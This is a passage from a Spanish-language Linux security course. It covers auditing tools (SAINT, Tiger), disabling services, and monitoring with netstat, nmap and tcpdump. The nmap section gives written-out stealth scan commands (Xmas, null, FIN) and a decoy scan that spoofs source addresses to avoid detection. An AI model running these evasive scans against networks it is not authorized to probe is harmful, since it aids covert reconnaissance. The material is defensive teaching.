mejores herramientas de auditoria disponibles hoy. SAINT es casi completamente configurable e incluye una interface en HTML que la hace fácil de utilizar. Esta puede también ser usada remotamente vía un buscador Web. Los archivos de Instalación y las instrucciones están disponibles en http://www.saintcorporation.com/products/saint_engine.html.

SAINT puede ser usado en la linea de comando o en formato HTML dependiendo en cual opción es elegida. La mayoría de las opciones de linea de comando son usadas para sobrescribir las variables de configuración en el archivo config/saint.cf. Una lista completa de los cambios están disponibles en las paginas man de SAINT.

Una vez los usuarios han configurado correctamente SAINT, ellos deben simplemente entrar la selección elegida y especificar un IP o nombre de host para que sea escaneado. Los resultados del escáner pueden ser encontrados en la Sección de Análisis de Datos. En modo no Interactivo los resultados son desplegados en la salida estándar (stdout).

Tiger

Tiger es otro popular utilitario de auditoria de de seguridad disponible para descarga. Este utilitario en particular es actualmente un conjunto de scripts de shell que prueban ciertos archivos de configuración y del sistema para verificar por problemas de seguridad. La instalación de Tiger en GNU/Linux es simple desde Fedora con YUM y desde Debian con APT-GET.

Tiger utiliza un conjunto de scripts que pueden ser ejecutados individualmente accesando el directorio /scripts y ejecutando el script deseado. Otra característica interesante de Tiger es que este no necesita ser instalado para ser usado. La instalación de Tiger incrementa su funcionalidad, aunque no es necesario.

Tiger también incluye un utilitario separado llamado tigercron que automatiza el uso de Tiger y le permite a los usuarios especificar cuales scripts serán ejecutados en frecuencias variables. El script que puede tomar horas para ejecutarse debe ser fijado solo para ser ejecutado pocas veces por mes. Los script mas rápidos pueden ser fijados para ser ejecutados muchas veces al día.

Tiger es todavía un utilitario de linea de comandos, aunque el soporte básico para la salida es por HTML ha sido incluido. Si la salida HTML no es usada, tiger desplegara lo que encuentra a un archivo en el directorio de tiger llamado security.report.[nombre_del_host].[fecha].[hora]. [nombre_del_host], [fecha] y [hora] son variables dependiendo donde y cuando el examen es ejecutado.

Otro utilitario utilizado que viene incluido con Tiger es tigexp, el cual despliega una explicación de los mensajes de precaución. Este es utilizados de la siguiente manera:

$ tigexp messageid

Los códigos “message ID” son listados dentro de corchetes al inicio de los mensajes de precaución. El utilitario tiger es configurado alterando el archivo tigerrc. Este archivo es localizado en el directorio principal de tiger. Por defecto, tiger es configurado para funcionar solo en las pruebas mas importantes del sistema; por lo tanto, los usuarios deben de examinar este archivo para asegurarse que todas las pruebas necesarias están siendo realizadas.

El archivo de configuración tigerrc es fácil de leer y editar. Simplemente abriendo tigerrc en un editor de texto para configurar tiger. Ubique una Y en el script que el usuario desea ejecutar y una N en el script que no sera usado. Una linea en el archivo tigerrc debe ser similar a esto: **Tiger_Check_PASSD=Y**

La Y indica que este script sera ejecutado cuando el utilitario tiger es inicializado. Tigerrc también incluye

otros ítemes de configuración con una explicación escrita de cada uno.

Como ya fue establecido anteriormente, tiger es un utilitario de linea de comando que utiliza los switches de la linea de comando para especificar ciertos detalles sobre tiger. Algunas opciones comunes incluyen:

-b Esta opción especifica en cuales directorios Tiger sera instalado.
-c Para especificar un archivo de configuración que no sea tigerrc, utilice esta opción.
-e Esta opción actúa similar al utilitario tigexp. Cuando tiger es ejecutado con esta opción, las explicaciones serán desplegadas en el reporte de seguridad.
-E Esta opción es similar al utilitario tigexp excepto que genera un archivo de explicación por separado.

Ejercicio 5-2: Escanear sistemas utilizando GNU/Linux Fedora

En este ejercicio, usted utilizara Linux RedHat para escanear puertos de los sistemas. No hay soluciones provistas para este ejercicio.

El comando nmap escanea su sistema por todos los puertos abiertos en el rango de 20 a 80. Usted puede necesitar presionar ENTER algunas veces para escapar algunas de las pantallas. Usted puede usar el mismo comando con otra dirección IP para escanear otros sistemas.

Distribuciones de GNU/Linux Dedicadas a Seguridad

Un administrador de sistema puede consumir tiempo configurando las opciones de seguridad e instalando los utilitarios de seguridad en casi cualquier distribución de GNU/Linux. Sin embargo, existen distribuciones de GNU/Linux que naturalmente configuradas para un optimo sistema de seguridad.

Ademas, hay programas simples que pueden controlar múltiples funciones de seguridad, permitiendo a los administradores de sistemas administrar los sistemas de seguridad eficiente y efectivamente.

Existen tantas que no se por donde empezar así que lo busque en Internet y llegue a estas 10 distros que son las mas mencionadas, no que las probé todas, es casi imposible. Estas distribuciones de GNU/Linux están preconfiguradas con herramientas de seguridad para simplificar el monitoreo del sistema. A diferencia de otras distribuciones, las cuales son flojas en seguridad, estas distribuciones contienen rigurosas configuraciones de seguridad por defecto. Esta es la lista no es que sea completa pero por algún sitio se empieza:

- BackTrack. Distribución bastante modularizada basada en SLAX, y por mucho la mas mencionada.
- Operator. Distribución centrada en la seguridad en red. Está basada en Debian.
- Phlack. Contiene muchas aplicaciones dirigidas a la seguridad, mucha documentación.
- Auditor. Completa distribución basada en Knoppix, pero más dirigida a la seguridad.
- LAS Linux. Distribución basada en Knoppix.
- Knoppix-STD. Completísima, de las primeras, creo que fue la que invento el negocio de seguridad.
- Helix. Otra basada en Knoppix buena para recuperación mas que seguridad.
- Fire. Otra distribución “forense”: para la recuperación de datos, escaneado de virus y vulnerabilidades.
- nUbuntu. Versión de Ubuntu centrada en la seguridad.
- Insert. Buena bien pequeña solo 60 meg.

¿Cual Usar?

Todos los programas y/o distribuciones mencionados anteriormente ofrecen diferentes ventajas. Todas le son útil si un administrador esta ejecutando GNU/Linux y desea fortalecer una red. Todas son distribuciones poderosa, de fácil configuración para cualquier red que utilice GNU/Linux. Ellas ofrecen la versatilidad de una distribución de GNU/Linux con características de seguridad integrados. Algunas son mas portables que otras

por el tamaño siendo Insert solo 60 megas. Todas ellas en especial para redes de UNIX/Linux y otras redes, proveen una manera rápida y fácil de configurar y probar la seguridad de las redes.

Resumen

En este capitulo, cubrimos diferentes servicios de red. Algunas de los temas claves que se mencionaron fueron:

- El monitoreos de los avisos de seguridad son un rol importante de un profesional en seguridad.
- Los permisos de los archivos están disponibles para implementar control de acceso en GNU/Linux.
- Deshabilitar telnet e implementar Secure Shell para el acceso remoto.
- Verificar los sistemas por potenciales problemas de seguridad con una escanear de vulnerabilidades.
- Mantener actualizado el kernel y los paquetes de software es un componente vital y efectivo de mantener las redes seguras.
- Considerar usar un sistema de auditoria de seguridad existente, incluyendo Bastille, Trustix o Trinux, cuando se implementa un nuevo sistema que requiera un alto nivel de seguridad.
- Como un administrador, usted debe de examinar los archivos de seguridad en su sistema y mantener un récord diario de ellos (los archivos Setuid y Setgid).
- Los verificadores de integridad son importantes; asegúrese que un intruso, no ha modificado el sistema de archivos, particularmente los archivos binarios.

CAPITULO

6

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

ASEGURAR LOS SERVICIOS

OBJETIVOS:

Al completar este capítulo, usted podrá:

• Asegurar los servicios TCP/IP, incluyendo HTTP y FTP.
• Definir la función de los TCP wrappers y sus uso en el desarrollo de un red segura.
• Describir el rol del xinetd, xinetd.conf y /etc/services y ser capaz de implementar y corregir fallas de las medidas de seguridad de los TCP wrappers.
• Definir las debilidades comunes de sendmail; describir las desventajas de usar smap y smapd así como las medidas que pueden ser tomadas para sobrepasar estos riesgos.
• Listar los componentes clave en la seguridad de un Webserver; describir la configuración de los permisos para el Apache, la implementación de autentificación MD5 y los ambientes chroot Web.
• Listar la instalación de un servidor FTP anónimo, describir el uso de los permisos en los directorios y explicar porqué debe ser cuidadoso al editar un archivo de configuración.
• Describir las vulnerabilidades del NFS al asegurar un red, asegurar los exports y el squashing (no permiso) de root.
• Listar el potencial de riesgo en los programas NIS y NIS+.
• Describir Squid y uso y configuración; definir el riesgo potencial inherente en este programa.
• Describir la configuración segura de Mozilla y IMAP.
• Establecer la seguridad del host.
• Estar familiarizado y capaz de implementar las restricciones de acceso a los siguientes servicios: ftp, telnet, Apache, NFS, Samba, Sendmail, DNS y NIS.

Preguntas Pre-Examen

Respuestas a estas preguntas se encuentran en el Apéndice A.

1.- ¿Cómo funcionan los escaneadores de puertos?
2.- ¿Qué se quiere decir con profiling (perfilando)?
3.- ¿Por qué se ha convertido la seguridad de la red en un tema central de los negocios?
4.- ¿Qué efecto tiene la seguridad de la red sobre la latencia de ella?

INTRODUCCION

El TPC/IP se creó en una época y en una situación donde la seguridad no era algo que concerniera demasiado. Inicialmente, “Internet” (entonces llamada ARPANET), consistía en unos pocos hosts, todo eran sitios académicos, grandes empresas o gobiernos. Todo el mundo se conocía, y acceder a Internet era un asunto serio. La suite de protocolos TCP/IP es bastante robusta, pero desafortunadamente no está provista de métodos ni herramientas de seguridad propia (por ej., autentificación, verificación, cifrado, etc.).

Hacer spoofing de paquetes, interceptar paquetes, leer la carga de los datos, y demás, es algo bastante fácil hasta en el Internet del día de hoy. Los ataques más comunes son los ataques de negación de servicio, denominados DoS, ya que son los más fáciles de ejecutar y los más difíciles de impedir, seguidos por el sniffing (husmeado) de paquetes, escaneado de puertos y otras actividades relacionadas.

En este capítulo discutiremos como enfrentar las vulnerabilidades e implementar controles para así proteger los servicios TCP/IP que son blancos de ataques, entre los cuales se incluyen los Servidores HTTP, FTP y el SMTP.

PROTEGIENDO LOS SERVICIOS TCP/IP

En este capítulo entraremos de lleno en lo que es la discusión de como efectivamente asegurar servicios de Internet clave. La mayoría de las implementaciones de los servicios de Internet acceden al sistema operativo a través de una cuenta especializada de usuario. GNU/Linux tiene cuentas específicas del sistema que son utilizadas para el manejo de cada daemon. Usted debe hacer práctica común, el cambio del nombre de esta cuenta, o sea nunca ejecutar un servicio con la cuenta de root, para así asegurar mejor su sistema. Estas cuentas no son cuentas normales de usuarios ya que usted no puede ingresar al sistema con ellas, pero si se ejecutan con privilegios administrativos. Un cracker puede usar el servicio de Internet para llevar a cabo acciones maliciosas con estos derechos administrativos.

El cambio de estas cuentas le permite al administrador mejor control de la auditoria de cada servicio de Internet. Los servicios de Internet más usados son SMTP (email), HTTP (Web) y el FTP(Transferencia de Archivos).

En esta sección cubriremos los siguientes temas:

- Identificación de los Servicios Necesarios
- Deshabilitar los Servicios Innecesarios
- Implementar Medidas de Control de Acceso
- Proteger los Servicios
- Monitorear los Servicios

Identificación de los Servicios Necesarios

Paso	Descripción
Categorizar Recursos y Necesidades	Niveles I, II, III fueron ya discutidos. Además debe considerar que la administración de redes siempre incluye detalles, documentación de cada sistema, incluyendo tipo de hardware, configuraciones actuales y los protocolos en uso. Las prioridades también son parte de la categorización.
Definir una Política de Seguridad	Usted debe siempre definir y publicar su política de seguridad. La política de una organización no tienen ningún sentido si sólo usted se la sabe. Todo el personal involucrado debe saber donde encontrar estas políticas y como el las aplicas para sus labores.

Asegurar cada Recurso y Servicio	Este paso involucra todas o algunas de las siguientes acciones: • Cambiar los por defecto de los servidores y los servicios • Establecer logs en todos los sistemas y revisarlos regularmente • Configurar sus archivos logs para que no se conviertan en amenazas de seguridad
Leer los Logs, Probar y Evaluar	Debe leer los logs diario y poner medidas del paso 5 a prueba y evaluar los ya puesto a prueba.
Repetir el Proceso y Actualizarse	Nunca asumir que estamos seguro porque cumple con los primeros cuatros pasos de esta lista. Debe entender que hasta su política debe ser actualizada y mejorada regularmente.

Estos cinco pasos pueden ayudarle a aplicar su política de seguridad lo más consistente posible. Los primeros dos pasos ya se cubrieron en los capítulos anteriores. En este capítulo nos concentraremos en los últimos tres pasos. Más específico, trabajaremos para asegurar algunos de los recursos TCP/IP discutidos en los capítulos anteriores.

Deshabilitar los Servicios Innecesarios

En GNU/Linux algunos de los servicios pueden ejecutarse tanto como stand-alone daemon o desde el metademonio xinetd, protegidos por TCP wrappers (envolturas). Un buen ejemplo de un servidor que muy a menudo es ejecutado como un daemon es sendmail, por lo general ligado al puerto TCP/IP 25 para las actividades SMTP. Pero el servicio de FTP a menudo es ejecutado por xinetd y así el servidor sólo se ejecuta cuando un proceso hace una petición. De todas formas si un proceso no es necesario, debe estar deshabilitado. Los servicios que no son necesarios pueden ser detenidos seleccionando las medidas apropiada desde el siguiente procedimiento.

1. Comentar el servicio no deseado en el archivo /etc/services, lo cual además previene de que el cliente local acceda el servicio.
2. Verificar que el servicio no está habilitado usando la aplicación SysV. Podemos probar que Apache está detenido con su comando de manejo y la opción de estado (status), y también detenerlo con la opción stop:
   # /etc/rc.d/init.d/httpd status (service httpd status y /etc/init.d/httpd status)
   httpd is stopped (es la respuesta deseada)
3. Busque el archivo de arranque del servicio no deseado en uno de los directorios /etc/rc.d/init.d o en /etc/init.d y elimínelo, o mejor aún renómbrelo. Por tradición lo que se hace muy a menudo es cambiar la S mayúscula por un s minúscula.
4. Verifique que este proceso no se iniciará en el runlevel por defecto (o en cualquiera de los otros runlevels) eliminando el vínculo simbólico que empieza con S que iniciará el servicio al entrar en un runlevel. Revise su runlevel por defecto en /etc/inittab para asegurarse de que los servicios que usted deshabilitó en su runlevel actual no se iniciarán cuando usted reinicie, si es que usted no está en el runlevel por defecto. Asegúrese de revisar cada runlevel, /etc/rc.d/[0-6].
5. Usted tiene disponible herramientas en las diferentes distros como services, chkconfig, ntsysv, yast o turboservices para habilitar y deshabilitar los servicios en los runlevels.
6. Deshabilite un servicio en xinetd y verifique que xinetd está o no iniciándolo como se espera. Si xinetd está ejecutándose, reinicielo para forzar que recargue su configuración y que se detenga de proveer los servicios que usted comentó.
7. Verifique que el proceso que usted configuró para que no arranque no este ejecutándose primero determinando su ID de proceso con el comando ps, entonces efectuar el comando kill para ese proceso si se está ejecutando.

```
# ps ax | grep portmap
```

La sugerencia de que lo apague enviándole una señal con kill puede que le parezca innecesario pero recuerde que en GNU/Linux los uptimes (tiempo sin reiniciar el servidor) más de 100 días son muy comunes y tener que esperar hasta un reinicio puede dejar su sistema vulnerable por todo ese tiempo.

8. Si se programa un reinicio, verifique que los cambios que efectuó estén funcionando apropiadamente y que los servicios no necesarios ya no se estén ejecutando.

Medidas de Control de Acceso

La preocupación principal en asegurar un sistema el día de hoy son las redes. Las redes permiten que se accesen información en otros sistemas y que otros sistemas accesen la nuestra. Pero uno deben controlar con mucho cuidado este acceso. Debemos asegurarnos de que no existan agujeros en nuestros sistemas que nos hagan vulnerables. La mejor manera y la más económica es ejecutar sólo los servicios que son absolutamente necesarios.

Aunque las mayoría de servidores FTP permiten el acceso solo permiten a los archivos debajo del directorio root del FTP, asegúrese que su FTP no permita accesos a archivo sensibles. Si usted no es cuidadoso, los usuarios pueden adquirir acceso a su directorios web y sobrescribir estos archivos.

Proteger los Servicios

Usted puede proteger los servicios con la coordinación de varios permisos, servicios y técnicas. Usted debe cambiar los por defectos de su sistemas y eliminar servicios innecesarios.

Proteja su Perfil

La adquisición de su perfil le da al cracker la posibilidad para determinar la naturaleza de un host de una red. También le proporciona la posibilidad para determinar la naturaleza del tráfico que viaja desde y hacia el host. Los sniffers de paquetes pueden ser usados para perfilar un host. Si configuramos una NIC(Network Interface Card) en modo promiscuo, un cracker puede entonces empezar a trabajar para comprometer la seguridad de la red. Existen varios métodos disponibles para contrarrestar este tipo de actividad.

Coordinar los Métodos y las Técnicas

Uno de los conceptos más importantes en asegurar los recursos es la habilidad de coordinar los métodos y técnicas para si un cracker burla un método, su sistema pueda contraatacar con otro. A medida que usted coordina los servicios, enfrente cada uno por separado, considere http, telnet y servidores ftp. Cada uno de estos sistemas tienen vulnerabilidades especificas que deben ser enfrentadas de manera individual.

Defina las políticas de operación en conjunto con las políticas de seguridad de servicios. Su sistema no debe depender solamente de un elemento de seguridad como puede ser: autenticación, encriptación o auditoria. Por ejemplo si usted depende de autenticación, usted debe agregar una capa adicional de encriptación o auditoria.

Cambie los Valores por Defecto para Proteger los Servicios

Cualquier cracker poco experimentado sabe los valores por defectos de un servicio en particular, servidor u computador. Así que, usted debe cambiar cuantos valores por defectos le sean posible. Estudiaremos más sobre este aspecto de los cambio de los valores por defecto más adelante.

Monitorear los Servicios

Es importante para un administrador de sistema saber que servicios se están ejecutando, quien lo esta ejecutando y que información esta siendo manejada por ellos. Utilitarios como netstat y nmap ayudan al usuario a entender la presencia y origen de un servicio en uso.

Netstat

El propósito de netstat es proveer un reporte de todas las conexiones, cuales interfaces están siendo usadas y las tablas de enrutamiento. Aunque netstat contiene muchas opciones solo discutiremos unas cuantas de ellas en esta sección. Para ver un listado completo de las opciones y sus descripciones, por favor refiérase a las paginas man de comando netstat de la sección 8 o a un How-To de los que aparecen en Internet.

Consulta de la Tabla de Enrutamiento

Si ejecuta netstat usando el indicador -r, puede ver la información de la tabla de encaminamiento del kernel igual que hemos venido haciendo hasta ahora con route. Al ejecutarlo tendríamos:

```
# netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
127.0.0.1       *               255.255.255.255 UH        0      0        0 lo
172.16.1.0      *               255.255.255.0   U         0      0        0 eth0
172.16.2.0      172.16.1.1      255.255.255.0   UG        0      0        0 eth0
```

La opción -n hace que netstat imprima las direcciones IP en notación de cuaterna en vez de usar los nombres simbólicos de las máquinas o las redes. Esto es especialmente útil si pretende evitar consultas para esos nombres a través de la red (por ejemplo consultas a un servidor DNS o NIS).

La segunda columna de la salida producida por netstat informa sobre las pasarelas a las que apunta la información de encaminamiento. Si una ruta no usa pasarela, el programa imprime un asterisco. La tercera columna imprime el nivel de “generalización” de una ruta. Dada una dirección IP para la que encontrar una ruta apropiada, el núcleo recorre la tabla registro a registro haciendo un “AND” lógico de la dirección y la máscara de nivel de generalización antes de compararla con el destino que muestra dicho registro.

La cuarta columna muestra varios indicadores que describen la ruta:

G	La ruta utiliza una pasarela.
U	La interfaz está activa.
H	Esta interfaz permite el acceso a una sola máquina. Este es el caso de la interfaz de bucle local 127.0.0.1.
D	Esta ruta es creada dinámicamente. Aparece si la entrada de la tabla ha sido generada por un demonio de encaminamiento como gated o por un mensaje de redirección ICMP .
M	Presente cuando este registro ha sido modificado por un mensaje de redirección ICMP.
!	La ruta es una ruta de rechazo, y los datagramas serán descartados.

Las siguientes tres columnas muestran el MSS, tamaño de ventana y irtt que serán aplicados a las conexiones TCP establecidas a través de esta ruta. El MSS es el Tamaño Máximo de Segmento, y es el tamaño del datagrama más grande que construirá el núcleo para transmitir a través de esta ruta. La Ventana es la cantidad máxima de datos que el sistema aceptará de una sola vez desde una máquina remota. El acrónimo irtt significa “tiempo inicial de ida y vuelta”, por sus iniciales en inglés. El protocolo TCP se asegura de que los datos han sido transmitidos de forma fiable entre máquinas retransmitiendo un datagrama si éste ha sido perdido. El protocolo TCP mantiene un contador de cuánto tarda un datagrama en ser enviado a su destino, y el “recibo” que se recibe, de forma que sabe cuánto esperar antes de suponer que un datagrama necesita retransmitirse. Este proceso se llama tiempo de ida y vuelta. El tiempo de ida y vuelta inicial es el valor que el protocolo TCP usará cuando se establezca una conexión por primera vez. Para la mayoría de los tipos de redes, el valor por omisión es válido, pero para algunas redes lentas, especialmente ciertos tipos de redes de radio paquetes de aficionados, el tiempo es demasiado pequeño y causa retransmisiones innecesarias. El valor de irtt puede ajustarse usando el comando route. Los campos a 0 significan que se está usando el valor por omisión.

Para terminar, el último campo muestra el interfaz de red que usará esta ruta.

Consulta de la Estadística de una Interfaz

Cuando se invoca con el indicador -i netstat presenta las estadísticas para las interfaces de red configuradas en ese momento. Si también se pasa la opción -a, mostrará todas las interfaces presentes en el núcleo, y no sólo aquellas que hayan sido configuradas. La salida para netstat sería algo así:

```
[root@localhost antonio]# netstat -i
Kernel Interface table
Iface   MTU Met   RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg
eth6   1500 0        0      0      0      0        0      0      0      0 BMU
lo    16436 0      433      0      0      0      433      0      0      0 LRU
virbr0 1500 0        0      0      0      0       79      0      0      0 BMRU
```

Los campos MTU y Met muestran los valores actuales de MTU y de métrica para esa interfaz. Las columnas RX y TX muestran cuántos paquetes han sido recibidos o transmitidos sin errores (RX-OK/TX-OK) o dañados (RX-ERR/TX-ERR); cuántos fueron descartados (RX-DRP/TX-DRP); y cuántos se perdieron por un desbordamiento. (RX-OVR/TX-OVR).

La última columna muestra los indicadores activos para cada interfaz. Son abreviaturas del nombre completo del indicador, que se muestran con la configuración de la interfaz que ofrece ifconfig:

B	Dirección de difusión activa.
L	La interfaz es un dispositivo de bucle local.
M	Se reciben todos los paquetes (modo promiscuo).
O	ARP no funciona para esta interfaz.
P	Conexión punto a punto.
R	La interfaz funciona.
U	La interfaz está activa.

Mostrar Conexiones

El netstat ofrece una serie de opciones para mostrar los puertos activos o pasivos. Las opciones -t, -u, -w, y -x muestran conexiones activas a puertos TCP, UDP, RAW, o Unix. Si incluye además el indicador -a, se mostrarán también los puertos que estén esperando una conexión (es decir, que estén escuchando). Esto le dará una lista de todos los servidores que estén corriendo actualmente en su sistema.

Llamar a netstat -ta en mi Fedora produce esta salida, como la siguiente, acortada para ser breve:

```
[root@localhost antonio]# netstat -ta
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State
tcp        0      0 *:49011                     *:*                         LISTEN
tcp        0      0 *:36436                     *:*                         LISTEN
```

nmap

Es otro utilitario que puede ser usado para estudiar las conexiones sobre una red. En vez de analizar la red desde el punto de vista de los servicios que se están ejecutando en ella, nmap escanea los puertos de un computador o de una red de computadores para captar información acerca de cuales servicios se están ejecutando. Esto puede ser muy útil para localizar computadoras y detectar intrusos y sus sistemas operativos. Debe ser cuidadoso, ya que los administradores de sistema consideran que el escaneado de un puerto es la primera señal de un ataque. Asegúrese de tener el permiso de escanear una red. La sintaxis básica de nmap es:

nmap [tipo de scan] [opciones]

Por ejemplo si tenemos un host en nuestra red, con dirección ip 192.168.0.1 y deseamos conocer que puertos tiene abiertos, ejecutamos:

```
# nmap 192.168.0.1
Port        State   Service
22/tcp      open    ssh
25/tcp      open    smtp
111/tcp     open    sunrpc
6000/tcp    open    X11
```

Este resultado puede variar, dependiendo de las opciones que se le pasen a nmap o de la cantidad de puertos, que se encuentren abiertos en el host, que esta siendo “scaneado”.

Si queremos, conocer que tipo de sistema operativo, esta corriendo el host al que le realizamos el escaneado, sólo basta con agregar el parámetro -O a el comando nmap.

```
[root@localhost antonio]# nmap -O 192.168.0.1
PORT        STATE SERVICE
22/tcp      open    ssh
25/tcp      open    smtp
111/tcp     open    rpcbind
631/tcp     open    ipp
1521/tcp    open    oracle
2049/tcp    open    nfs
3389/tcp    open    ms-term-serv
5900/tcp    open    vnc
6000/tcp    open    X11
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.19 - 2.6.31
Network Distance: 0 hops
```

Nmap nos muestra esto cada vez que no logra identificar con exactitud que Sistema Operativo se esta corriendo en el Host destino. Y ¿cómo hace nmap, para reconocer el sistema operativo, que se esta ejecutando en el host destino?. Básicamente, cada sistema operativo, responde diferente, cuando se le envían paquetes TCP específicos (en realidad no tan específicos, más bien incoherentes), así se logra determinar con una buena exactitud, que sistema operativo se esta ejecutando.

Al ejecutar nmap, contra un host con sistema operativo Windows XP, se produjo este resultado:

```
# nmap -O 192.168.0.1
Port        State   Service
135/tcp     open    loc-srv
139/tcp     open    netbios-ssn
445/tcp     open    microsoft-ds
1025/tcp    open    listen
5000/tcp    open    fics
Remote OS guesses: Windows Me or Windows 2000 RC1 through final
release, Windows Millenium Edition v4.90.3000
```

Ahora bien si realmente es necesario conocer que sistema operativo se esta corriendo en el host remoto, es mejor utilizar otra herramienta, junto con nmap, como por ejemplo QueSO. QueSO, es un detector de sistema

operativo remoto, este realiza una mejor verificación de Sistema Operativo. Por esto es que Queso es utilizado en el proyecto Contador de Sistema Operativo en Internet, The Internet Operating System Counter.

A continuación veremos un par de opciones más interesantes que posee nmap.

Identificando los hosts activos, en nuestra red

Supongamos, que tenemos una red, 192.168.0.x, y deseamos conocer que hosts se encuentran activos, fácilmente, lo podemos saber con nmap, esto lo podemos conocer al realizar un ping scan:

#nmap -sP 192.168.0.1-255

Realizando Stealth Scans

Con este tipo de scan, se pretende no ser detectado por software de detección de escaneados, se envían paquetes a los hosts con ciertos "flags" TCP activados o desactivados para evitar ser detectados.

SN: Stealth, Null Scan, este tipo de scan pone en off todos los flags.
sF: Stealth FIN Scan, este tipo de scan usa paquetes con el flag FIN activado para las pruebas.
sX: Stealth Xmas Tree Scan, este tipo de scan envía paquetes con los flag FIN, URG, y PUSH activados.
sP: Ping Scan, un scan dentro de un rango específico de hosts. Útil para conocer que hosts se están en línea sin ser detectados.

Si deseamos hacer un stealth scan del tipo Xmas Tree, y ademas deseamos conocer que sistema operativo esta corriendo el host de destino, ejecutamos:

#nmap -sX -O 192.168.1.2

Despistarlo con un señuelo o Decoy Scan:

-D: Esta opción se utiliza para tratar de engañar al host, al cual se esta "escaneando", que los escaneados se están generando desde otros hosts, que se especifican en la opción -D.

En el siguiente ejemplo, realizamos un (Invisible) Stealth Xmas Tree scan (-sX) hacia el host 192.168.0.1, en los puertos 25(SMTP), 53(DNS), le indicamos a nmap que no genere pings hacia el host, y tratamos de engañar al host (-D, Decoy), haciéndole creer que los scans se están generando desde los hosts 1.2.3.4 y 5.6.7.8.

#nmap -p 25,53 -sX -P0 -D 1.2.3.4,5.6.7.8 192.168.0.1

Guardando los Resultados de tus Scans

Nmap permite guardar los resultados de un scan, en varios tipos de formato de archivo: Normal, XML, Grepable, All, y en formato "S" (s|<ipT kiDd|3 f0rM iNto THe fiL3 U sPecfy 4s an arGuMEnT!, o mejor conocido como formato Script Kiddie!).

Si deseamos hacer un stealth scan del tipo Xmas Tree, también deseamos conocer que sistema operativo esta corriendo el host de destino, y además deseamos guardar el resultado de este scan en un archivo llamado "resultado-escaneadot.txt", ejecutamos:

#nmap -sX -O 192.168.1.2 -oN resultado-escaneado.txt

Ahora si lo que deseamos es realizar el escaneado anterior pero dentro de un rango de hosts específicos, digamos del host 192.168.1.1 hasta la ip 192.168.1.255 , y deseamos guardar el resultado del scan en un archivo de texto normal entonces ejecutamos:

#nmap -sX -O 192.168.1.1-255 -oN resultado-escaneado.txt

Interfaces Gráficas para nmap.

Si no desean, utilizar la interfaz de comandos de nmap, fácilmente pueden utilizar 2 de las interfaces

gráficas más conocidas, que existen para nmap: nmapFE y KMAP.

tcplogd

Detecta rastreos realizados de forma "silenciosa", es decir aquellas que usan alguna técnica especial como conexiones medio abiertas para que sean más difíciles de detectar. Algunas herramientas que realizan este tipo de rastreos son NMAP, QueSo y Saint. Puede obtenerse esta herramienta en http://kalug.lug.net/tcplogd/.

Shadow

Al igual que tcplogd, Shadow detecta rastreos silenciosos. Es fácil de instalar y suele dar buenos resultados. Está formado por dos partes (al menos) un sensor situado fuera del cortafuegos y un analizador de logs que se debe instalar en una máquina interna de la red. Puede obtenerse más información en http://www.nswc.navy.mil/ISSEC/CID/ (http://www.nswc.navy.mil/ISSEC/CID/).

HostSentry (proyecto Abacus)

Esta herramienta busca comportamientos extraños al entrar en el sistema, como hacerlo fuera de las horas de trabajo, desde lugares no habituales, etc. HostSentry se distribuye bajo licencia GPL y puede obtenerse en http://www.psionic.com/abacus junto con otras herramientas relacionadas englobadas dentro del proyecto Abacus.

tcpdump

Este utilitario le permite a un administrador de sistema monitorear todos los paquetes que viajan por una interface de su red. Si hay un ataque en curso, la información del atacante puede ser obtenida de la salida del comando. No es muy efectiva en una interfaz con mucho tráfico ya que devolverá muchísima información. Aquí unos ejemplos rápidos de tcpdump:

 # tcpdump -i eth0 -c 100 -s 500

Nos sacará por pantalla los primeros 100 paquetes (-c 100) que pasen por la interfaz eth0 (-i eth0) con un tamaño máximo de paquete de 500 bytes (-s 500)

 # tcpdump -qec 1

En este se muestra que tenemos varias formas de sacar paquetes por pantalla: -q (quiet o silencioso (poca información)) y -v y -vv que van de menos a más información. La opción -e nos sacará las direcciones mac origen/destino y -c 1 nos sacará solo el primer paquete como ya hemos explicado antes.

Que tipo de tráfico podemos capturar: Podemos capturar tráfico basado en:

- Direcciones
- Protocolos
- Puertos
- Características de paquetes
- Combinación de todos estos

Filtrando por Direcciones

 # tcpdump host miguel

Nos sacará toda la información relativa al host "miguel".

 # tcpdump dst host miguel

Nos sacará toda la información donde el host destino sea 'miguel'

 # tcpdump ether src host 0:a0:3b:3:e1:1d

Nos sacará toda la información donde la tarjeta de red de origen sea la dirección mac: 0:a0:3b:3:e1:1d (Sintaxis: ether host)

 # tcpdump –c 100 net 192.168.1.0 mask 255.255.255.0

Mostrará los primeros 100 paquetes (-c 100) de la red 192.168.1.0 (net 192.168.1.0) con una mascara de red de 255.255.255.0 (mask 255.255.255.0)

Filtrando por protocolos

 # tcpdump upd

Mostrará todos los paquetes que viajen por udp

 # tcpdump –i eth0 –c 1000 –s 300 udp

Mostrará los primeros 1000 (-c 1000) paquetes de la interfaz eth0 (-i eth0) con un tamaño de paquete máximo de 300 bytes (-s 300) en el protocolo udp.

 # tcpdump port 23

Mostrará todos los paquetes que vayan por el puerto 23

Mezclando Filtros

 # tcpdump not port 22

Mostrará toda la información excepto la que vaya por el puerto 22

 # tcpdump port 23 and host alex

Mostrará toda la información que vaya por el puerto 23 y por el host alex

 # tcpdump not “(port 23 and host alex and host antonio)”

Mostrará toda la información que ni vaya por el puerto 23, ni por el host alex ni por el host antonio

 # tcpdump dst host alex and dst port 80

Mostrará toda la información que vaya al host alex (dst host alex, usualmente mi maquina) y al puerto destino 80 (dst port 80)

 # tcpdump -i eth0 -c 100 -s 1000 src host antonio and “(dst host alex or dst host jazz)” and dst port 22

Como ves, mezclando información podemos tener filtros largos y todo lo complicados que queramos... este filtro nos mostrará los primeros 100 paquetes que pasen por la interfaz eth0 (-i eth0) con tamaño máximo de paquete de 1000 bytes (-s 1000) que vengan del host antonio (src host antonio) y que vayan o al host alex o al host jazz “(dst host alex or dst host jazz)” al puerto 22 (dst port 22).

Whois

Las entradas asociadas con intrusiones por lo general contendrá un nombre de dominio o dirección IP que apuntan al sitio donde se disparó el log. Obtener el IP o el dominio le permite a un administrador bloquear como le sea necesario con utilitarios como los wrappers de TCP, pero aún más información puede ser obtenida con el comando whois para buscar el dueño de la dirección.

